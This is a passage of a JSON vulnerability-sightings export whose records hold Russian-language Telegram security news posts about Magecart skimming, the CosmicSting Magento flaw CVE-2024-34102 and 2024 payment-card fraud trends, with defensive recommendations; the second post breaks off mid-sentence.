"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/itsec_news/5097", "content": "\u200b\u26a1\ufe0fGoogle Tag Manager \u0441\u0442\u0430\u043b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043a\u0440\u0430\u0436\u0438 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\n\n\ud83d\udcac\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043d\u043e\u0432\u043e\u043c\u0443 \u043e\u0442\u0447\u0435\u0442\u0443 Trustwave, \u0432 \u043f\u0440\u0435\u0434\u0434\u0432\u0435\u0440\u0438\u0438 \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u0447\u043d\u043e\u0433\u043e \u0441\u0435\u0437\u043e\u043d\u0430 \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438 \u0441 \u0446\u0435\u043b\u044c\u044e \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0445 \u043a\u0430\u0440\u0442 \u0438 \u043b\u0438\u0447\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0438 Magecart, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 2015 \u0433\u043e\u0434\u0443, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u043e\u043d\u043b\u0430\u0439\u043d-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432.\n\nMagecart \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Magento, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0442\u044b\u0441\u044f\u0447\u0438 \u043e\u043d\u043b\u0430\u0439\u043d-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \u041f\u0430\u043d\u0434\u0435\u043c\u0438\u044f 2020 \u0433\u043e\u0434\u0430 \u0443\u0441\u0438\u043b\u0438\u043b\u0430 \u0443\u0433\u0440\u043e\u0437\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u043e\u043d\u043b\u0430\u0439\u043d-\u043f\u043e\u043a\u0443\u043f\u043a\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u043b \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0430\u0439\u0442\u0430\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435, \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u0438\u043b\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0441\u0430\u0439\u0442\u0430. \u0412 2024 \u0433\u043e\u0434\u0443 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\nCVE-2024-20720 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.1) \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Magento, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2024 \u0433\u043e\u0434\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432.\nCosmicSting ( CVE-2024-34102 \u0438 CVE-2024-2961 ) \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432. \u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0434\u043e 75% \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c Adobe Commerce \u0438 Magento.\n\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u0441\u043a\u0438\u043c\u043c\u0435\u0440\u044b \u043d\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0430\u0439\u0442\u043e\u0432, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u043e\u0432. \u0421\u043a\u0440\u0438\u043f\u0442\u044b \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u043c\u0435\u0440\u0430 \u043a\u0430\u0440\u0442 \u0438 CVV-\u043a\u043e\u0434\u044b.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0443\u0447\u0430\u0441\u0442\u0438\u043b\u0438\u0441\u044c \u0441\u043b\u0443\u0447\u0430\u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c Google Tag Manager (GTM), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c. \u0425\u0430\u043a\u0435\u0440\u044b \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b GTM \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445. \u0422\u0430\u043a\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0440\u0443\u0434\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c, \u0442\u0430\u043a \u043a\u0430\u043a GTM \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c.\n\n\u0421\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f WebSocket. \u0427\u0430\u0441\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0434\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Base64 \u0434\u043b\u044f \u0443\u0441\u043b\u043e\u0436\u043d\u0435\u043d\u0438\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0430\u0442\u0430\u043a Magecart \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f:\n\n\u0421\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f;\n\u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043d\u0435\u043d\u0443\u0436\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b;\n\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c Content Security Policy (CSP) \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432;\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Subresource Integrity (SRI) \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432;\n\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439.\n\u0410\u0442\u0430\u043a\u0438 Magecart \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439, \u0438 \u0437\u0430\u0449\u0438\u0442\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-10T11:40:31.000000Z"}, {"uuid": "d07b0bb3-b1ec-4217-9325-fcb7b3112d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/itsec_news/5186", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c \u0441\u043e\u0437\u043d\u0430\u043d\u0438\u044f \u0438 \u0418\u0418: \u043a\u0430\u043a \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u0442\u0430\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432\n\n\ud83d\udcac \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0442\u0447\u0451\u0442\u0443 Payment Fraud Intelligence, \u0432 2024 \u0433\u043e\u0434\u0443 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0435 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u043e. \u041d\u043e\u0432\u044b\u0435 \u0442\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0418\u0418 \u0438 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438, \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0440\u043e\u0441\u0442\u0443 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043e\u0432 \u0443\u0442\u0435\u0447\u0435\u043a \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u044e \u0447\u0438\u0441\u043b\u0430 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b. \u0412 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0431\u044b\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 269 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u043a\u0430\u0440\u0442 \u0438 1,9 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u043a\u043e\u0432 \u0438\u0437 \u0421\u0428\u0410.\n\n\u0427\u0438\u0441\u043b\u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0439 Magecart \u0441\u043a\u0438\u043c\u043c\u0435\u0440\u0430\u043c\u0438 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u043e\u0441\u044c \u0432 3 \u0440\u0430\u0437\u0430 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 2023 \u0433\u043e\u0434\u043e\u043c, \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0432 11 000 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u043e\u043c\u0435\u043d\u043e\u0432. \u041f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CosmicSting ( CVE-2024-34102 , \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0430\u0442\u0430\u043a, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Sniffer by Fleras. \u042d\u0442\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0446\u0438\u0438. \u0417\u0430 \u0433\u043e\u0434 \u0431\u044b\u043b\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043e\u043a\u043e\u043b\u043e 1200 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u043e\u043c\u0435\u043d\u043e\u0432, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u0413\u043e\u043d\u043a\u043e\u043d\u0433\u0435. \u041f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438 \u0438 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u043f\u0440\u043e\u0434\u0430\u0432\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u043c\u0430\u043d\u0430 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043c\u043e\u043d\u0435\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0414\u0430\u0440\u043a\u043d\u0435\u0442-\u043c\u0430\u0440\u043a\u0435\u0442\u044b \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439 \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0430\u0436\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0434\u043b\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0430. Telegram, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439, \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b \u0441\u0432\u043e\u044e \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0447\u0435\u043a\u0438. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432 Telegram.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0441 \u0447\u0435\u043a\u0430\u043c\u0438 \u0432 \u0421\u0428\u0410 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439: \u0431\u043e\u043b\u0435\u0435 1,9 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0445 \u0447\u0435\u043a\u043e\u0432 \u0431\u044b\u043b\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e \u0432 \u0434\u0430\u0440\u043a\u043d\u0435\u0442\u0435 \u0438 \u0432 Telegram. \u0413\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0439 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u044e \u0441\u0442\u0440\u0430\u043d\u0443, \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0437\u043e\u043d\u0430\u0445.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u044e\u0442 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0440\u043e\u0441\u0442 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043a\u0438\u043c\u043c\u0435\u0440\u043e\u0432 \u0438 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0430\u0439\u0442\u043e\u0432, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043d\u0430 \u0444\u043e\u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 